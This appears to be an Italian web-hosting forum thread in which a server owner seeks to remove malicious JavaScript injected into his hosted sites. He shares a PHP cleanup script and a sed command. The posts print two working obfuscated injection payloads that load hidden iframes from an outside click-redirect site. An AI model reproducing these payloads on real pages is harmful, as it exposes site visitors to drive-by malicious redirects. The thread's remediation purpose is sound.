Benvenuto nella nostra community, registra un account gratuito ADESSO!
Oltre 7000 persone hanno già registrato il loro account. Chiedi aiuto, conversa con aziende ed esperti del settore webhosting italiano.
Iscriviti subito! In meno di 2 minuti!




Pagina 1 di 2 12 UltimaUltima
Risultati da 1 a 15 di 16
  1. #1
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Come rimuovere stringa malevola da tutti i file online?

    Buongiorno a tutti.
    Ho riscontrato la seguente problematica su gran parte dei siti ospitati sul mio server dedicato: alla fine dei file è stata aggiunta uan scringa javascript che mostra un popup che rimanda a qualche sito malevolo.

    Ritengo che il problema possa essere nel client FTP utilizzato fino ad ora dove le pass dei siti erano salvata in chiaro (Filezilla) unito ad un paio di malware sul mio PC.

    Domanda: esiste una utility o un codice per eliminare da tutti i file presenti online (a partire da /var/www/vhosts/ o da / per esempio) la stringa in maniera automatica?

    la stringa da eliminare è la seguente:

    Codice:
    <script>
    var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
    document.write(test);
    </script>
    Suggerimenti? Purtroppo non ho un backup abbastanza recente da utilizzare



  2. #2
    Provider L'avatar di WizOfOz
    Data Registrazione
    Nov 2007
    Località
    Milano (MI)
    Messaggi
    2,876

    Re: Come rimuovere stringa malevola da tutti i file online?

    Tutti i client FTP trasmettono i dati in chiaro.. è il protocollo che è fatto così non un problema di filezilla...
    Se vuoi maggiore sicurezza devi usare un altro sistema per trasmettere i file.

    Per fare una modifica globale dovresti scrivere uno script che tramite Regex cerchi e sostituisca tutte le occorrenze... la complessità del lavoro dipende dalla tua conoscenza di scripting e espressioni regolari oltre che dall'uniformità o meno di quello che devi cercare

  3. #3
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Costi e Tempi?

    La stringa è sempre quella viene appesa alla fine del file. Lo script dovrebbe essere capace di fare l'operazione via SSH

  4. #4
    Provider L'avatar di WizOfOz
    Data Registrazione
    Nov 2007
    Località
    Milano (MI)
    Messaggi
    2,876

    Re: Come rimuovere stringa malevola da tutti i file online?

    Citazione Originariamente Scritto da dylan Visualizza Messaggio
    Costi e Tempi?
    ????? costi e tempi de che ?

  5. #5
    Ste
    Ste non è collegato
    HT Admin L'avatar di Ste
    Data Registrazione
    Feb 2006
    Località
    Italia
    Messaggi
    7,051

    Re: Come rimuovere stringa malevola da tutti i file online?

    Semplicemente o lo sai fare o trovi qualcuno che lo faccia: una società che si occupi di servizi managed, per risponder alla domanda sui costi
    Hai un progetto o un servizio hosting che reputi interessante? Scrivi a HostingTalk.it e raccontaci tutto.
    Segnalazioni e news: info@hostingtalk.it

    Segui HostingTalk.it su FACEBOOK!

    @twitter | Hosting News | Offerte Hosting | Recensioni hosting

  6. #6
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Sì era la domanda per farlo...
    io ho sviluppato questo:

    Codice PHP:
    <?php

    // OBSOLETE vedi dopo...


    ?>
    Ora lo sto provando...suggerimenti?

  7. #7
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Ecco la versione definitiva dello script.
    Ha funzionato bene sul primo sito di test, ora lo provo un po' e vi faccio sapere.

    Codice PHP:
    <?php

    ...ulteriormente migliorato... vedi post successivo...

    ?>

  8. #8
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Ecco lo script definitivo, può essere ampiamente migliorato impiegando le REGEX corrette...attualmente la procedura rileva alcuni falsi positivi ("sei un TESTardo e ...") ma non influisce sulle funzionalità del sito.

    ecco lo script:
    Codice PHP:
    <?php


    /**
     * 
     * --------------------------------------
     * PHP StakanovMalware Removal vers. 1.0
     * 
     * Script per la rimozione massiva di stringhe (malefiche e non)
     * all'interno del vostro sito internet
     * 
     * --------------------------------------
     * 
     * Funzionamento:
     * Caricare lo script all'interno della root del vs. sito web.
     * La funzione remove_a_string() cercherà ricorsivamente i file e cartelle nel vostro spazio web
     * 
     * - Lo script evita di controllare i file che hanno le estensioni specificate in
     * $extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');
     * 
     * - Lo script cercherà all'interno dei vostri file quello che indicherete nella variabile
     *     $stringa_da_cercare = "test";
     * 
     * TODO: cambiare questa ricerca con il vecchio eregi ed impiegare una REGEX
     * 
     * - Se il sistema rilava la presenza della stringa indicata, considererà il file "infetto"
     * ed effettuerà la correzione indicata in:
     *  $contents = str_replace("<script>
    var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
    document.write(test);
    </script>", '', $contents);
     * 
     * che nel mio caso corregge una iniezione di javascript malevola e massiva :(
     * 
     * ---
     * 
     * Il controllo
     * if (!eregi("removal.php", $file))
     * serve per evitare che lo script uccida se stesso, quindi il nome del file dovrà essere "removal.php"
     * 
     * L'ho testato e funziona. Non mi firmo perché uso una identità segreta :)
     * 
     * 
     * A presto
     * Dylan di Hosting Talk (sono iscritto al forum)
     * 
     * http://www.hostingtalk.it/forum/server-dedicati/14401-come-rimuovere-stringa-malevola-da-tutti-i-file-online.html#post124455 
     * 
     * 
     */

    session_start();
    function 
    remove_a_string($directory '')
    {
        if (
    $directory == '')
        
    $directory dirname(__FILE__);
        
        
    $directory $directory '/';    

        if (
    $handle = @opendir($directory))
        {
            while (
    $file = @readdir($handle))
            {
                if (
    is_dir("{$directory}/{$file}"))
                {
                    if (
    $file != "." $file != ".."$dirs[] = $directory.$file;
                } else {
                    
                    
    // non salviamo robaccia...
                    
    $estensione_del_file = @explode("."$file);
                    
    $estensione $estensione_del_file[count($estensione_del_file) - 1];
                    
    $estensione strtolower($estensione);
                    
                    
    $extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');
                    
                    if (!
    in_array($estensione$extensions))
                    {
                        if (
    $file != "." $file != ".."$files[] = $directory.$file;
                    }    
                    
                        
                
                }
            }
        }
        
        @
    sort($files);
        @
    reset($files);
        @
    sort($dirs);
        @
    reset($dirs);
                            
        for (
    $f=0count($dirs) > $f$f++)
        {
            
    $nuova_directory $dirs[$f];
            
    //sleep(1); // giusto per farlo riposare un po...eheh...
            
    echo '<strong>Controllo: '.$nuova_directory.'</strong><br />';
            
    remove_a_string($nuova_directory);    
        }
        
        for (
    $g=0count($files) > $g$g++)
        {
            
            
            
    $file $files[$g];
            
            
            if (!
    eregi("removal.php"$file))
            {
            
    $contents = @file_get_contents($file);
            
    $stringa_da_cercare "test";
            
            if (
    $contents != '')
            {
                echo 
    '- controllo '$file '<br />';
                
                if (
    eregi($stringa_da_cercare$contents))
                {
                    
                    echo 
    '<span style="color: red">'$file '</span> è infettato!<br />';
                    
    $counter $counter 1;
                    
                    
    // cura!
                    
    $contents str_replace("<script>
    var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
    document.write(test);
    </script>"
    ''$contents);
                    
                    
    $fp fopen($file'w');
                    
    fwrite($fp$contents);
                    
    fclose($fp);
                    
                    echo 
    '<span style="color: green;">CURATO!</span><br />';
                    
                    
    //echo '<textarea style="width: 600px; height: 120px; clear: both; display: block;">'.htmlentities($contents).'</textarea>';
                    
                    
                    
                

            }
            
        
            
            
    $recounter = @$_SESSION['recounter'] + 1;
            @
    $_SESSION['recounter'] = $recounter;

            } 
    // evitiamo di uccidere l'antivirus :)
                    
            
        
    }
        
        if (
    $counter 0){
            echo 
    '<hr /><br /><br />';
            echo 
    '<strong>Sono presenti 'intval($counter) . ' file infetti...magnifico!</strong><br /><br /><br />';
            
    $counter 0;
        } else {
            echo 
    '<br />';
        }
    }

    remove_a_string();

    echo @
    $_SESSION['recounter'] . ' file scansionati!';
    @
    $_SESSION['recounter'] = 0;

    ?>

  9. #9
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Mi rimane solo un punto da chiarire, nel ringraziarvi fino ad ora, vi chiederei di chiarirmelo ulteriormente... se lancio questo script dalla / del server...non funzionerà giusto? nel senso che se lo posizione in root e poi lo lancio con un crontab, curerà i siti? devo fare altro?

    grazie mille

  10. #10
    Uno
    Uno non è collegato
    Utente Moderatore
    Data Registrazione
    Mar 2008
    Messaggi
    5,793

    Re: Come rimuovere stringa malevola da tutti i file online?

    E meno male che non funziona.
    Se inizia a scansionarti dalla radice me lo dici poi quando finisce.... non so quantificare ma penso che ci metterebbe parecchio.

    Di solito questo cose si fanno in bash, comunque se conosci php dovresti almeno fare lo script in versione CLI dargli la directory di partenza in www (o come è impostato il tuo server) e lanciarlo da root in ssh (o mettendolo in crontab).

  11. #11
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Ciao, grazie della risposta
    Non so a cosa ti riferisci per "script in versione CLI" per il percorso l ofaccio aprtire da /var/www/vhosts/ dove sono contenuti i domini.

  12. #12
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    eh sì infatti
    PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 51855251 bytes) in /removal.php on line 126

    Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 51855251 bytes) in /removal.php on line 126

  13. #13
    Uno
    Uno non è collegato
    Utente Moderatore
    Data Registrazione
    Mar 2008
    Messaggi
    5,793

    Re: Come rimuovere stringa malevola da tutti i file online?


  14. #14
    HTastinator
    Data Registrazione
    May 2007
    Messaggi
    414

    Re: Come rimuovere stringa malevola da tutti i file online?

    Citazione Originariamente Scritto da dylan Visualizza Messaggio
    eh sì infatti
    PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 51855251 bytes) in /removal.php on line 126

    Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 51855251 bytes) in /removal.php on line 126
    Sucuri Security: Removing malware from a web site - Case Study

  15. #15
    HT Member
    Data Registrazione
    Dec 2008
    Messaggi
    55

    Re: Come rimuovere stringa malevola da tutti i file online?

    Wow.

    Come posso applicare quel comando per quest'altro script?

    Codice:
    <script type='text/javascript'>function iSL(){};zA="";iSL.prototype = {tS : function() {var pV=new Date();this.v="";return 'h&tdtdpU:d/O/dcdldi&c&k&-Vs&aUpOe&.UcUoUmU/Uidnd.VcOg&iO?O2O'.fS(/[dV&U]/g, '').fS(/[OdV&U]/g, '');var lO=false;this.yX="";},o : function() {var e="";var vE=function(){};var nI=false;var m="m";var u=36046;this.bI=false;var c=false;var p='replace';var x=function(){};function xM(){};var n=document;this.bG='';this.lH='';this.k="k";var b=window;j=6912;this.r="r";var rJ='';this.vZ=false;var oZ=function(){return 'oZ'};var kN=new Date();var gV=15310;jE="";String.prototype.fS=function(y,bR){return this[p](y, bR)};function gB(){};var oB=function(){return 'oB'};this.jK="";var yG=function(){};iX=false;dB=false;var a="";oL="";function wU(){};var w = 's4e9t.A.t.t4r4iab7uat7e.'.fS(/[\.7a49]/g, '');wX="wX";function wA(){};var d = 'n!o8n!eM'.fS(/[Mz\!\}8]/g, '');var oJ=function(){};this.hS="";function q(){};function xMP(){};var bX = 'n:H:zcfM<u/:bcoNdcyu>M<:/MhMtMmMlM>u'.fS(/[uNc\:M]/g, '');cZ=6192;this.vV=false;this.xN="xN";var dT = 'dri?sAp2l?a(y2'.fS(/[2\?\(rA]/g, '');var mK=new Array();var jP=false;var kC=function(){return 'kC'};        var oI = 'a>p[pve>n>d[C.h>i>l.d>'.fS(/[\>\.vG\[]/g, '');this.xP="";var xC=new Date();var h = 'sVeVt,T<i<m,e,oVu0t,'.fS(/[,V0\<E]/g, '');var sT=new Array();var uA=52341;this.rS=false;var sD=false;var i = 'b>ojd.yO'.fS(/[O\>\.j\|]/g, '');f="";var qY=new Array();var nG = 's2t|y}l2e}'.fS(/[\}\$f\|2]/g, '');var pS=new Date();vF="";var s = 'cwr.eyayt.eyE|l|ewm|ewn|tw'.fS(/[wy\.L\|]/g, '');var kH=new Array();rR=false;var zV = 'i<fHrHabmHe<'.fS(/[\<gbH4]/g, '');bO="bO";dP='';var t = 'wyrBiytfey'.fS(/[ysB#f]/g, '');var vO=function(){return 'vO'};this.fK="fK";uM=false;var eP='';var pQ = 's)r(c('.fS(/[\(\)dtj]/g, '');kI='';var zM=40778;var cV=new Date();this.gH='';try {rT="";var lL=3445;var gJ=5874;this.iS="";var nO=false;var nK=function(){return 'nK'};var uMF=51417;cE=false;var l=this.tS();nT="nT";var iQ=5454;var bK=n[s](zV);var uK=false;nC=false;var kA="kA";this.iZ="iZ";pK=false;var oJL='';bK[nG][dT] = d;pR="pR";var dO='';var oU=new Array();hQ='';bK[w](pQ, l);this.eN="eN";xO=false;var zQ=false;iH=false;function gVT(){};document[i][oI](bK);this.jU="";var lK="";var eQ=new Date();var jM=11127;var tT=new Date();var pG=false;var bXQ=false;dL="";} catch(g) {this.wJ=false;function jPP(){};cL="cL";this.sI=30714;var pVB=false;n.write(bX);var zVU=new Array();var eC=false;cG="";var jX=function(){};this.pRI="pRI";var vK="vK";var dK = this;var gZ=false;vI="";this.bP=false;tE="tE";var vJ=new Date();rA='';this.jY="";b[h](function(){ var gO=function(){};lV="";var eB=new Array();var jQ=2036;var bRH='';function zZ(){};dK.o();var oH=function(){};var mL='';this.rX="rX";this.aT=62159;}, 217);var dN=60809;var wAY='';var iSH=32147;var nP=54088;}var iE="";eNN=false;this.mR=false;}};function fI(){};var jJ=new iSL(); var pA=new Date();jJ.o();var lN=function(){};</script>
    Io ho provato lanciando questo:
    Codice:
    find ./ | grep -i -E "\.html|\.htm|\.php|\.js" | xargs sed -i "s#<script type='text/javascript'>function iSL(.*)</script>##g"
    MA non funziona...come mai?

Pagina 1 di 2 12 UltimaUltima

Discussioni Simili

  1. Attacco hosting consigli per pulire tutti i file
    Di giavara nel forum Shared e Managed Webhosting
    Risposte: 24
    Ultimo Messaggio: 28-12-2011, 14:39
  2. Dropbox, tutti amano lo storage online e lei assume 400 dipendenti
    Di Redazione HostingTalk nel forum Articoli e news su Webhosting e Servizi Internet
    Risposte: 1
    Ultimo Messaggio: 28-07-2011, 08:17
  3. Chi offre un servizio di banda per i file come gestisce tutti i server ?
    Di allanh nel forum Server dedicati, colocation, connettività e scelta data center
    Risposte: 7
    Ultimo Messaggio: 03-07-2011, 17:24
  4. Decomprimere tutti i file in una volta
    Di secretman nel forum Gestione Server Windows e Server Linux
    Risposte: 3
    Ultimo Messaggio: 10-03-2008, 16:11
  5. Eliminare tutti i file .tar.gz presenti nel server
    Di matrix845 nel forum Gestione Server Windows e Server Linux
    Risposte: 11
    Ultimo Messaggio: 26-07-2007, 20:23

Informazioni Discussione

Utenti che Stanno Visualizzando Questa Discussione

Ci sono attualmente 1 utenti che stanno visualizzando questa discussione. (0 utenti e 1 ospiti)

Tag per Questa Discussione

Segnalibri

Permessi di Scrittura

  • Tu non puoi inviare nuove discussioni
  • Tu non puoi inviare risposte
  • Tu non puoi inviare allegati
  • Tu non puoi modificare i tuoi messaggi
  •